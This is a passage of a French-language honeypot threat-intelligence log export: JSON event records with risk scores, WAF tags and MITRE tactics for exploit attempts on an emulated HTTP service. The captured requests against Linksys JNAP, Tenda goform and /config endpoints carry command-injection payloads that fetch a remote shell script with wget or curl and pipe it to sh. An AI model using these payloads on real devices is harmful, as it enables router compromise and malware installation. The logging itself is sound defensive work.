"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 80,
"tag_count": 12,
"anomaly_count": 0,
"campaign_key": "57aad11ef2fd1ed6172b22d4f3d610095842e981",
"event_fingerprint": "fa4fb497c394ece581353e50ea95b8971050cbe3",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 80
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "91a699e728a441a03b894f19441512ac",
"path_pattern_hash": "09d793525e81db3cecc4e36c738b6310"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 80
},
"payload_preview": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nX-JNAP-ACTION: http:\/\/linksys.com\/jnap\/wpsstationin",
"method": "POST",
"path": "\/JNAP\/",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950347:rce-5",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/JNAP\/ HTTP\/1.1",
"request_sample": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nX-JNAP-ACTION: http:\/\/linksys.com\/jnap\/wpsstationinfo\/GetStationInfo\r\nContent-Length: 205\r\nConnection: close\r\n\r\ndevice_name=cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7C",
"payload_snippet": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nX-JNAP-ACTION: http:\/\/linksys.com\/jnap\/wpsstationin",
"evidence": {
"method": "POST",
"path": "\/JNAP\/",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950347:rce-5",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/JNAP\/ HTTP\/1.1",
"request_sample": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nX-JNAP-ACTION: http:\/\/linksys.com\/jnap\/wpsstationinfo\/GetStationInfo\r\nContent-Length: 205\r\nConnection: close\r\n\r\ndevice_name=cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7C",
"payload_snippet": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nX-JNAP-ACTION: http:\/\/linksys.com\/jnap\/wpsstationin",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "17a4756c52b1539b0e8f95787baeaf452beb67c9",
"protocol_details": {
"http_method": "POST",
"http_path": "\/JNAP\/",
"request_line": "POST \/JNAP\/ HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nX-JNAP-ACTION: http:\/\/linksys.com\/jnap\/wpsstationin",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/JNAP\/",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 80\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 80
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 80,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/JNAP\/",
"request_line": "POST \/JNAP\/ HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/JNAP\/",
"evidence_snippet": "POST \/JNAP\/ HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/json\r\nX-JNAP-ACTION: http:\/\/linksys.com\/jnap\/wpsstationin",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950347:rce-5",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"http_jwt_body",
"http_no_ua",
"http_ssrf_body",
"net_web_probe"
]
}
11/07/2026 23:49:08 UTC
TCP
8081 · HTTP
Sonde fichier configuration
config file probe · via HTTP:8081 · (tentative d'exploit) · → /wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wg…
Élevée
Moyen · 64
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20t…
Émulateur
HTTP
WAF
47
Recommandation
Investiguer
Tags
950309:lfi-12
950325:rce-0
950345:rce-5
950405:ssrf-3
Cible HTTP
GET
/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20tenda%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20tenda
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8081
Chemin / cible
/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20tenda%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20tenda
Pourquoi cette classification : Sonde fichier sensible: chemin sensible (tag interne) · Règle WAF « lfi-12 » · Sonde fichier sensible / config · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 64
Confiance : Confiance 100 % — 7 tag(s) WAF
Protocole émulé
1 Signaux
Http Sensitive
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
LFI Double-dot bypass
Ligne de requête
GET /goform/setUsbUnload/.js?deviceName=A;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20tenda%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20tenda HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-5
ssrf-3
nosqli-3
redir-1
Payload (extrait)
GET /goform/setUsbUnload/.js?deviceName=A;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wge
Requête brute (extrait)
GET /goform/setUsbUnload/.js?deviceName=A;cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20tenda%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20tenda HTTP/1.1 Host: 6
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 2,
"http_query_params": 1,
"http_path_depth": 3,
"http_path_ext": "js",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "2919e85805df844f358bfd44a8cd7d77ed0a470b",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 293,
"payload_entropy": 5.194297982317913,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 74,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 30,
"risk_boost": 0,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30
},
"risk_score": 64,
"tag_count": 12,
"anomaly_count": 1,
"campaign_key": "ad08c0fe425137beb13a14bc582f4e5bcc5e75fe",
"event_fingerprint": "18fa93024fafc5c838e027d57c9653e03628030a",
"classification_reason": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab lfi-12 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 127,
"precision_signals": [
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0103"
],
"matched_pattern_names": [
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30,
"risk_score": 64
},
"named_classification_skipped": false,
"classification_parent": "backup_file_scan",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "6cebb999145248d35aa230e5f745ffd6",
"path_pattern_hash": "95596bbb7d1e66e7933797f3db9d43de"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 64
},
"method": "GET",
"path": "\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20tenda",
"query_string": "deviceName=A;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20tenda",
"waf_tags": [
"950309:lfi-12",
"950325:rce-0",
"950345:rce-5",
"950405:ssrf-3",
"950468:nosqli-3",
"950469:nosqli-3",
"950487:redir-1"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3",
"redir-1"
],
"request_line": "GET \/goform\/setUsbUnload\/.js?deviceName=A;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20tenda HTTP\/1.1",
"payload_snippet": "GET \/goform\/setUsbUnload\/.js?deviceName=A;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wge",
"evidence": {
"method": "GET",
"path": "\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20tenda",
"query_string": "deviceName=A;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20tenda",
"waf_tags": [
"950309:lfi-12",
"950325:rce-0",
"950345:rce-5",
"950405:ssrf-3",
"950468:nosqli-3",
"950469:nosqli-3",
"950487:redir-1"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3",
"redir-1"
],
"request_line": "GET \/goform\/setUsbUnload\/.js?deviceName=A;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20tenda HTTP\/1.1",
"request_sample": "GET \/goform\/setUsbUnload\/.js?deviceName=A;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20tenda HTTP\/1.1\r\nHost: 6",
"payload_snippet": "GET \/goform\/setUsbUnload\/.js?deviceName=A;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wge",
"classification_reason": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab lfi-12 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal",
"config_leak_scan"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "113f8f139ca01a07ebcc3c94196b9ae70eae9a74",
"protocol_details": {
"http_method": "GET",
"http_path": "\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20tenda",
"request_line": "GET \/goform\/setUsbUnload\/.js?deviceName=A;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bcurl%20http:\/\u2026",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/goform\/setUsbUnload\/.js?deviceName=A;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wge",
"attack_vector": "config file probe \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wg\u2026",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 7 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab lfi-12 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab lfi-12 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 64\/100 (Moyen) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30,
"risk_score": 64
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 64,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"Http Sensitive",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20tenda",
"request_line": "GET \/goform\/setUsbUnload\/.js?deviceName=A;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bcurl%20http:\/\u2026",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "config file probe \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wg\u2026",
"evidence_snippet": "GET \/goform\/setUsbUnload\/.js?deviceName=A;cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20tenda%3Bbusybox%20wge",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 7 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 7 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950309:lfi-12",
"950325:rce-0",
"950345:rce-5",
"950405:ssrf-3",
"950468:nosqli-3",
"950469:nosqli-3",
"950487:redir-1",
"anomaly:high-entropy-query",
"http_no_ua",
"http_probe_goform",
"http_sensitive_path",
"net_web_probe"
]
}
11/07/2026 23:49:08 UTC
TCP
8081 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8081 · (tentative d'exploit) · → /wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget…
Élevée
Moyen · 60
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
GET /wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dcs…
Émulateur
HTTP
WAF
53
Recommandation
Investiguer
Tags
950309:lfi-12
950325:rce-0
950345:rce-5
950405:ssrf-3
Cible HTTP
GET
/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dcs%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20dcs
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8081
Chemin / cible
/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dcs%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20dcs
Pourquoi cette classification : Paramètres de scan · confiance 59%
Confiance classification
59%
Risque capteur
Moyen
· 60
Confiance : Confiance 59 % — 8 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100-sub
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
LFI Double-dot bypass
Ligne de requête
GET /config/?cmd=cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dcs%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20dcs HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-5
ssrf-3
nosqli-3
redir-1
webshell-param-cmd
Payload (extrait)
GET /config/?cmd=cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http://91.92.40.118/wge
Requête brute (extrait)
GET /config/?cmd=cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dcs%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20dcs HTTP/1.1 Host: 62.3.50.33:8081 Connection: clo
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 2,
"http_query_params": 1,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "16d873425a44abcbc561dbf80ce01723ad77c248",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 262,
"payload_entropy": 5.048511930322051,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 30,
"risk_boost": 0,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30
},
"risk_score": 60,
"tag_count": 14,
"anomaly_count": 1,
"campaign_key": "c3f9f71a2f7fb695bce3d57a284add7c86758d8e",
"event_fingerprint": "a04b864070ff8266aca0a8bda1d693ef26876c47",
"classification_reason": "Param\u00e8tres de scan \u00b7 confiance 59%",
"confidence": 0.59,
"classification_confidence": 0.59,
"precision_score": 70,
"precision_signals": [
"CRS-930100-sub"
],
"kb_rule_ids": [
"CRS-930100-sub"
],
"matched_patterns": [
"pat-0103"
],
"matched_pattern_names": [
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30,
"risk_score": 60
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 59,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "7a21557bba27bb92fd75be0b8d4ae9b7",
"path_pattern_hash": "7b027b43ee202e99587271c9aa97af77"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 60
},
"method": "GET",
"path": "\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20dcs",
"query_string": "cmd=cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20dcs",
"waf_tags": [
"950309:lfi-12",
"950325:rce-0",
"950345:rce-5",
"950405:ssrf-3",
"950468:nosqli-3",
"950469:nosqli-3",
"950487:redir-1",
"950629:webshell-param-cmd"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-5",
"ssrf-3",
"nosqli-3",
"redir-1",
"webshell-param-cmd"
],
"request_line": "GET \/config\/?cmd=cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20dcs HTTP\/1.1",
"payload_snippet": "GET \/config\/?cmd=cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wge",
"evidence": {
"method": "GET",
"path": "\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dcs%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20dcs",
